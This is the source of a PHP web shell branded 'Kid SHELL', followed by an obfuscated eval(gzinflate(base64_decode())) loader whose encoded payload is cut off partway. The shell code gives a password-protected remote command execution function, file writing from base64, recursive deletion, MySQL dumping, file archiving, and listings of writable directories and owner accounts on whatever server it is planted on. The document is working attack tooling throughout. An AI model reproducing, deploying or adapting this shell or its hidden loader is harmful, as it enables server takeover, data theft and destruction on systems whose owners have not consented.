4 => array('Server OS',PHP_OS),
5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),
7 => array('Server Web Port',$_SERVER['SERVER_PORT']),
8 => array('PHP run mode',strtoupper(php_sapi_name())),
9 => array('The file path',__FILE__),
10 => array('PHP Version',PHP_VERSION),
11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),
12 => array('Safe Mode',getcfg('safe_mode')),
13 => array('Administrator',$adminmail),
14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
15 => array('enable_dl',getcfg('enable_dl')),
16 => array('display_errors',getcfg('display_errors')),
17 => array('register_globals',getcfg('register_globals')),
18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),
19 => array('memory_limit',getcfg('memory_limit')),
20 => array('post_max_size',getcfg('post_max_size')),
21 => array('upload_max_filesize',$upsize),
22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
23 => array('disable_functions',$dis_func),
);
if($phpvarname) {
m($phpvarname .' : '.getcfg($phpvarname));
}
formhead(array('title'=>'Server environment'));
makehide('action','phpenv');
makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));
formfooter();
$hp = array(0=> 'Server', 1=> 'PHP');
for($a=0;$a<2;$a++) {
p('<h2>'.$hp[$a].' »</h2>');
p('<ul class="info">');
if ($a==0) {
for($i=1;$i<=9;$i++) {
p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
}
} elseif ($a == 1) {
for($i=10;$i<=23;$i++) {
p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
}
}
p('</ul>');
}
}//end phpenv
else {
m('Undefined Action');
}
?>
</td></tr></table>
<div style="padding:10px;border-bottom:1px solid #0E0E0E;border-top:1px solid #0E0E0E;background:#0E0E0E;">
<span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
Copyright © 2012 - Develop by <a href=http://mr-kid.tv target=_blank><B>[BYG] Kid</B></a> - All Rights Reserved.
</div>
</body>
</html>
<?php
/*======================================================
Show info shell
======================================================*/
function m($msg) {
echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
echo $msg;
echo '</div>';
}
function scookie($key, $value, $life = 0, $prefix = 1) {
global $admin, $timestamp, $_SERVER;
$key = ($prefix ? $admin['cookiepre'] : '').$key;
$life = $life ? $life : $admin['cookielife'];
$useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
}
function multi($num, $perpage, $curpage, $tablename) {
$multipage = '';
if($num > $perpage) {
$page = 10;
$offset = 5;
$pages = @ceil($num / $perpage);
if($page > $pages) {
$from = 1;
$to = $pages;
} else {
$from = $curpage - $offset;
$to = $curpage + $page - $offset - 1;
if($from < 1) {
$to = $curpage + 1 - $from;
$from = 1;
if(($to - $from) < $page && ($to - $from) < $pages) {
$to = $page;
}
} elseif($to > $pages) {
$from = $curpage - $pages + $to;
$to = $pages;
if(($to - $from) < $page && ($to - $from) < $pages) {
$from = $pages - $page + 1;
}
}
}
$multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
for($i = $from; $i <= $to; $i++) {
$multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';
}
$multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');
$multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';
}
return $multipage;
}
// Login page
function loginpage() {
?>
<html>
<head>
<body bgcolor=black background=http://i1220.photobucket.com/albums/dd460/mrlehieuit/mrkid/mrkid.gif>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<script type="text/javascript">
//Created by Title bar [BYG] Kid
function tb4_makeArray(n){
this.length = n;
return this.length;
}
tb4_messages = new tb4_makeArray(1);
tb4_messages[0] = "Kid SHELL - Develop by BYG Kid";
tb4_rptType = 'infinite';
tb4_rptNbr = 5;
tb4_speed = 100;
tb4_inputDelay = 2000;
var tb4_counter = 1;
var tb4_chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopwrstuvwxyz.";
var tb4_pogodjenih = 0;
var tb4_stsmsg = "";
var tb4_currMsg = 0;
var tb4_timer = null;
var tb4_mozeDalje=true;
function tb4_addChar(ch){
if (tb4_chars.search(ch) == -1){
tb4_chars=tb4_chars+ch;
}
}
for (var i=0; i<tb4_messages.length; i++){
for (var j=0; j<tb4_messages[i].length; j++)
tb4_addChar(tb4_messages[i].charAt(j));
}
function tb4_shuffle(arr){
var k;
for (i=0; i<arr.length; i++){
k = Math.round(Math.random() * (arr.length - i - 1)) + i;
temp = arr[i];arr[i]=arr[k];arr[k]=temp;
}
return arr;
}
tb4_arr = new tb4_makeArray(tb4_messages[tb4_currMsg].length);
tb4_sts = new tb4_makeArray(tb4_messages[tb4_currMsg].length);
for (var i=0; i<tb4_messages[tb4_currMsg].length; i++){
tb4_arr[i] = i;
}
tb4_arr = tb4_shuffle(tb4_arr);
for (var i=0; i<tb4_messages[tb4_currMsg].length; i++){
tb4_sts[i] = tb4_messages[tb4_currMsg].charAt(tb4_arr[i]);
}
function tb4_setChar(k){
r = Math.round(Math.random() * tb4_chars.length);
tb4_sts[k] = tb4_chars.charAt(r);
tb4_stsmsg = "";
for (var i=0; i<tb4_sts.length; i++)
tb4_stsmsg += tb4_sts[i];
document.title = tb4_stsmsg;
if (tb4_chars.charAt(r) == tb4_messages[tb4_currMsg].charAt(k)){
tb4_stsmsg = "";
for (var i=0; i<tb4_sts.length; i++)
tb4_stsmsg += tb4_sts[i];
document.title = tb4_stsmsg;
tb4_pogodjenih++;
return;
}
setTimeout("tb4_setChar("+k+")", tb4_speed);
}
function tb4_init(k){
if (tb4_mozeDalje){
for (var k=0; k<tb4_messages[tb4_currMsg].length; k++){
tb4_msgchar = tb4_messages[tb4_currMsg].charAt(k);
tb4_setChar(k);
}
tb4_mozeDalje=false;
tb4_delay=200;
}
if (tb4_pogodjenih == tb4_messages[tb4_currMsg].length){
if (tb4_currMsg == tb4_messages.length-1){
if ((tb4_rptType == 'finite') && (tb4_counter==tb4_rptNbr)){
clearTimeout(tb4_timer);
return;
}
tb4_currMsg=0;
tb4_counter++;
}
else{
tb4_currMsg++;
}
tb4_arr = new tb4_makeArray(tb4_messages[tb4_currMsg].length);
tb4_sts = new tb4_makeArray(tb4_messages[tb4_currMsg].length);
for (var i=0; i<tb4_messages[tb4_currMsg].length; i++){
tb4_arr[i] = i;
tb4_mozeDalje=true;
tb4_pogodjenih=0;
tb4_delay=tb4_inputDelay;
}
tb4_arr = tb4_shuffle(tb4_arr);
for (var i=0; i<tb4_messages[tb4_currMsg].length; i++){
tb4_sts[i] = tb4_messages[tb4_currMsg].charAt(tb4_arr[i]);
}
}
tb4_timer = setTimeout("tb4_init(0)", tb4_delay);
}
function tb4_picktitle(){
tb4_init(0);
}
tb4_picktitle()
</script>
<title></title>
<style type="text/css">
A:link {text-decoration: none; color: green }
A:visited {text-decoration: none;color:red}
A:active {text-decoration: none}
A:hover {text-decoration: underline; color: green;}
input, textarea, button
{
font-size: 9pt;
color: #ccc;
font-family: verdana, sans-serif;
background-color: #202020;
border-left: 1px solid #74A202;
border-top: 1px solid #74A202;
border-right: 1px solid #74A202;
border-bottom: 1px solid #74A202;
}
</style>
<BR><BR>
<div align=center >
<fieldset style="border: 1px solid rgb(69, 69, 69); padding: 4px;width:450px;bgcolor:white;align:center;font-family:tahoma;font-size:10pt"><legend><font color=red><B>Login</b></font></legend>
<div>
<font color=gray>
<font color=yellow>==[ <B>Kid SHELL</B> ]== </font><BR><BR>
<form method="POST" action="">
<span style="font:10pt tahoma;">Password: </span><input name="password" type="password" size="20">
<input type="hidden" name="doing" value="login">
<input type="submit" value="Login">
</form>
<BR>
<?php
echo "".$err_mess."";
?>
<B><font color=red>
<a href=http://mr-kid.tv target=_blank>[BYG] Kid - HACKING - SECURITY</a><BR></b>
</div>
</fieldset>
</head>
</html>
<?php
exit;
}//end loginpage()
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,base64_decode($text));
@fclose($fp);
}
}
// Debug
function debuginfo() {
global $starttime;
$mtime = explode(' ', microtime());
$totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
echo 'Processed in '.$totaltime.' second(s)';
}
// Function connect database
function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
p('<h2>Can not connect to MySQL server</h2>');
exit;
}
if($link && $dbname) {
if (!@mysql_select_db($dbname, $link)) {
p('<h2>Database selected has error</h2>');
exit;
}
}
if($link && mysql_get_server_info() > '4.1') {
if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {
q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
}
}
return $link;
}
// Array strip
function s_array(&$array) {
if (is_array($array)) {
foreach ($array as $k => $v) {
$array[$k] = s_array($v);
}
} else if (is_string($array)) {
$array = stripslashes($array);
}
return $array;
}
// HTML Strip
function html_clean($content) {
$content = htmlspecialchars($content);
$content = str_replace("\n", "<br />", $content);
$content = str_replace(" ", " ", $content);
$content = str_replace("\t", " ", $content);
return $content;
}
// Chmod
function getChmod($filepath){
return substr(base_convert(@fileperms($filepath),10,8),-4);
}
function getPerms($filepath) {
$mode = @fileperms($filepath);
if (($mode & 0xC000) === 0xC000) {$type = 's';}
elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
elseif (($mode & 0x8000) === 0x8000) {$type = '-';}
elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}
elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}
else {$type = '?';}
$owner['read'] = ($mode & 00400) ? 'r' : '-';
$owner['write'] = ($mode & 00200) ? 'w' : '-';
$owner['execute'] = ($mode & 00100) ? 'x' : '-';
$group['read'] = ($mode & 00040) ? 'r' : '-';
$group['write'] = ($mode & 00020) ? 'w' : '-';
$group['execute'] = ($mode & 00010) ? 'x' : '-';
$world['read'] = ($mode & 00004) ? 'r' : '-';
$world['write'] = ($mode & 00002) ? 'w' : '-';
$world['execute'] = ($mode & 00001) ? 'x' : '-';
if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
}
function getUser($filepath) {
if (function_exists('posix_getpwuid')) {
$array = @posix_getpwuid(@fileowner($filepath));
if ($array && is_array($array)) {
return ' / <a href="#" title="User: '.$array['name'].'
Passwd: '.$array['passwd'].'
Uid: '.$array['uid'].'
gid: '.$array['gid'].'
Gecos: '.$array['gecos'].'
Dir: '.$array['dir'].'
Shell: '.$array['shell'].'">'.$array['name'].'</a>';
}
}
return '';
}
// Delete dir
function deltree($deldir) {
$mydir=@dir($deldir);
while($file=$mydir->read()) {
if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) {
@chmod($deldir.'/'.$file,0777);
deltree($deldir.'/'.$file);
}
if (is_file($deldir.'/'.$file)) {
@chmod($deldir.'/'.$file,0777);
@unlink($deldir.'/'.$file);
}
}
$mydir->close();
@chmod($deldir,0777);
return @rmdir($deldir) ? 1 : 0;
}
// Background
function bg() {
global $bgc;
return ($bgc++%2==0) ? 'alt1' : 'alt2';
}
// Get path
function getPath($scriptpath, $nowpath) {
if ($nowpath == '.') {
$nowpath = $scriptpath;
}
$nowpath = str_replace('\\', '/', $nowpath);
$nowpath = str_replace('//', '/', $nowpath);
if (substr($nowpath, -1) != '/') {
$nowpath = $nowpath.'/';
}
return $nowpath;
}
// Get up path
function getUpPath($nowpath) {
$pathdb = explode('/', $nowpath);
$num = count($pathdb);
if ($num > 2) {
unset($pathdb[$num-1],$pathdb[$num-2]);
}
$uppath = implode('/', $pathdb).'/';
$uppath = str_replace('//', '/', $uppath);
return $uppath;
}
// Config
function getcfg($varname) {
$result = get_cfg_var($varname);
if ($result == 0) {
return 'No';
} elseif ($result == 1) {
return 'Yes';
} else {
return $result;
}
}
// Function name
function getfun($funName) {
return (false !== function_exists($funName)) ? 'Yes' : 'No';
}
function GetList($dir){
global $dirdata,$j,$nowpath;
!$j && $j=1;
if ($dh = opendir($dir)) {
while ($file = readdir($dh)) {
$f=str_replace('//','/',$dir.'/'.$file);
if($file!='.' && $file!='..' && is_dir($f)){
if (is_writable($f)) {
$dirdata[$j]['filename']=str_replace($nowpath,'',$f);
$dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
$dirdata[$j]['dirchmod']=getChmod($f);
$dirdata[$j]['dirperm']=getPerms($f);
$dirdata[$j]['dirlink']=ue($dir);
$dirdata[$j]['server_link']=$f;
$dirdata[$j]['client_link']=ue($f);
$j++;
}
GetList($f);
}
}
closedir($dh);
clearstatcache();
return $dirdata;
} else {
return array();
}
}
function qy($sql) {
//echo $sql.'<br>';
$res = $error = '';
if(!$res = @mysql_query($sql)) {
return 0;
} else if(is_resource($res)) {
return 1;
} else {
return 2;
}
return 0;
}
function q($sql) {
return @mysql_query($sql);
}
function fr($qy){
mysql_free_result($qy);
}
function sizecount($size) {
if($size > 1073741824) {
$size = round($size / 1073741824 * 100) / 100 . ' G';
} elseif($size > 1048576) {
$size = round($size / 1048576 * 100) / 100 . ' M';
} elseif($size > 1024) {
$size = round($size / 1024 * 100) / 100 . ' K';
} else {
$size = $size . ' B';
}
return $size;
}
// Zip
class PHPZip{
var $out='';
function PHPZip($dir) {
if (@function_exists('gzcompress')) {
$curdir = getcwd();
if (is_array($dir)) $filelist = $dir;
else{
$filelist=$this -> GetFileList($dir);//File list
foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
}
if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
else chdir($curdir);
if (count($filelist)>0){
foreach($filelist as $filename){
if (is_file($filename)){
$fd = fopen ($filename, 'r');
$content = @fread ($fd, filesize($filename));
fclose ($fd);
if (is_array($dir)) $filename = basename($filename);
$this -> addFile($content, $filename);
}
}
$this->out = $this -> file();
chdir($curdir);
}
return 1;
}
else return 0;
}
// Show file list
function GetFileList($dir){
static $a;
if (is_dir($dir)) {
if ($dh = opendir($dir)) {
while ($file = readdir($dh)) {
if($file!='.' && $file!='..'){
$f=$dir .'/'. $file;
if(is_dir($f)) $this->GetFileList($f);
$a[]=$f;
}
}
closedir($dh);
}
}
return $a;
}
var $datasec = array();
var $ctrl_dir = array();
var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
var $old_offset = 0;
function unix2DosTime($unixtime = 0) {
$timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
if ($timearray['year'] < 1980) {
$timearray['year'] = 1980;
$timearray['mon'] = 1;
$timearray['mday'] = 1;
$timearray['hours'] = 0;
$timearray['minutes'] = 0;
$timearray['seconds'] = 0;
} // end if
return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
}
function addFile($data, $name, $time = 0) {
$name = str_replace('\\', '/', $name);
$dtime = dechex($this->unix2DosTime($time));
$hexdtime = '\x' . $dtime[6] . $dtime[7]
. '\x' . $dtime[4] . $dtime[5]
. '\x' . $dtime[2] . $dtime[3]
. '\x' . $dtime[0] . $dtime[1];
eval('$hexdtime = "' . $hexdtime . '";');
$fr = "\x50\x4b\x03\x04";
$fr .= "\x14\x00";
$fr .= "\x00\x00";
$fr .= "\x08\x00";
$fr .= $hexdtime;
$unc_len = strlen($data);
$crc = crc32($data);
$zdata = gzcompress($data);
$c_len = strlen($zdata);
$zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
$fr .= pack('V', $crc);
$fr .= pack('V', $c_len);
$fr .= pack('V', $unc_len);
$fr .= pack('v', strlen($name));
$fr .= pack('v', 0);
$fr .= $name;
$fr .= $zdata;
$fr .= pack('V', $crc);
$fr .= pack('V', $c_len);
$fr .= pack('V', $unc_len);
$this -> datasec[] = $fr;
$new_offset = strlen(implode('', $this->datasec));
$cdrec = "\x50\x4b\x01\x02";
$cdrec .= "\x00\x00";
$cdrec .= "\x14\x00";
$cdrec .= "\x00\x00";
$cdrec .= "\x08\x00";
$cdrec .= $hexdtime;
$cdrec .= pack('V', $crc);
$cdrec .= pack('V', $c_len);
$cdrec .= pack('V', $unc_len);
$cdrec .= pack('v', strlen($name) );
$cdrec .= pack('v', 0 );
$cdrec .= pack('v', 0 );
$cdrec .= pack('v', 0 );
$cdrec .= pack('v', 0 );
$cdrec .= pack('V', 32 );
$cdrec .= pack('V', $this -> old_offset );
$this -> old_offset = $new_offset;
$cdrec .= $name;
$this -> ctrl_dir[] = $cdrec;
}
function file() {
$data = implode('', $this -> datasec);
$ctrldir = implode('', $this -> ctrl_dir);
return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
}
}
// Dump mysql
function sqldumptable($table, $fp=0) {
$tabledump = "DROP TABLE IF EXISTS $table;\n";
$tabledump .= "CREATE TABLE $table (\n";
$firstfield=1;
$fields = q("SHOW FIELDS FROM $table");
while ($field = mysql_fetch_array($fields)) {
if (!$firstfield) {
$tabledump .= ",\n";
} else {
$firstfield=0;
}
$tabledump .= " $field[Field] $field[Type]";
if (!empty($field["Default"])) {
$tabledump .= " DEFAULT '$field[Default]'";
}
if ($field['Null'] != "YES") {
$tabledump .= " NOT NULL";
}
if ($field['Extra'] != "") {
$tabledump .= " $field[Extra]";
}
}
fr($fields);
$keys = q("SHOW KEYS FROM $table");
while ($key = mysql_fetch_array($keys)) {
$kname=$key['Key_name'];
if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
$kname="UNIQUE|$kname";
}
if(!is_array($index[$kname])) {
$index[$kname] = array();
}
$index[$kname][] = $key['Column_name'];
}
fr($keys);
while(list($kname, $columns) = @each($index)) {
$tabledump .= ",\n";
$colnames=implode($columns,",");
if ($kname == "PRIMARY") {
$tabledump .= " PRIMARY KEY ($colnames)";
} else {
if (substr($kname,0,6) == "UNIQUE") {
$kname=substr($kname,7);
}
$tabledump .= " KEY $kname ($colnames)";
}
}
$tabledump .= "\n);\n\n";
if ($fp) {
fwrite($fp,$tabledump);
} else {
echo $tabledump;
}
$rows = q("SELECT * FROM $table");
$numfields = mysql_num_fields($rows);
while ($row = mysql_fetch_array($rows)) {
$tabledump = "INSERT INTO $table VALUES(";
$fieldcounter=-1;
$firstfield=1;
while (++$fieldcounter<$numfields) {
if (!$firstfield) {
$tabledump.=", ";
} else {
$firstfield=0;
}
if (!isset($row[$fieldcounter])) {
$tabledump .= "NULL";
} else {
$tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
}
}
$tabledump .= ");\n";
if ($fp) {
fwrite($fp,$tabledump);
} else {
echo $tabledump;
}
}
fr($rows);
if ($fp) {
fwrite($fp,"\n");
} else {
echo "\n";
}
}
function ue($str){
return urlencode($str);
}
function p($str){
echo $str."\n";
}
function tbhead() {
p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
}
function tbfoot(){
p('</table>');
}
function makehide($name,$value=''){
p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");
}
function makeinput($arg = array()){
$arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";
$arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
!$arg['type'] && $arg['type'] = 'text';
$arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
$arg['class'] = $arg['class'] ? $arg['class'] : 'input';
if ($arg['newline']) {
p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");
} else {
p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");
}
}
function makeselect($arg = array()){
if ($arg['onchange']) {
$onchange = 'onchange="'.$arg['onchange'].'"';
}
$arg['title'] = $arg['title'] ? $arg['title'] : '';
if ($arg['newline']) p('<p>');
p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");
if (is_array($arg['option'])) {
foreach ($arg['option'] as $key=>$value) {
if ($arg['selected']==$key) {
p("<option value=\"$key\" selected>$value</option>");
} else {
p("<option value=\"$key\">$value</option>");
}
}
}
p("</select>");
if ($arg['newline']) p('</p>');
}
function formhead($arg = array()) {
!$arg['method'] && $arg['method'] = 'post';
!$arg['action'] && $arg['action'] = $self;
$arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : '';
!$arg['name'] && $arg['name'] = 'form1';
p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");
if ($arg['title']) {
p('<h2>'.$arg['title'].' »</h2>');
}
}
function maketext($arg = array()){
!$arg['cols'] && $arg['cols'] = 100;
!$arg['rows'] && $arg['rows'] = 25;
$arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");
}
function formfooter($name = ''){
!$name && $name = 'submit';
p('<p><input class="bt" name="'.$name.'" id=\"'.$name.'\" type="submit" value="Submit"></p>');
p('</form>');
}
function formfoot(){
p('</form>');
}
// Exit
function pr($a) {
echo '<pre>';
print_r($a);
echo '</pre>';
}
?><?
Did this file decode correctly?
Original Code
<? $fsahhsbj='edoced_46esab';$xbmtbknb=strrev($fsahhsbj);$pjxkwjsf='gzinflate';eval($pjxkwjsf($xbmtbknb('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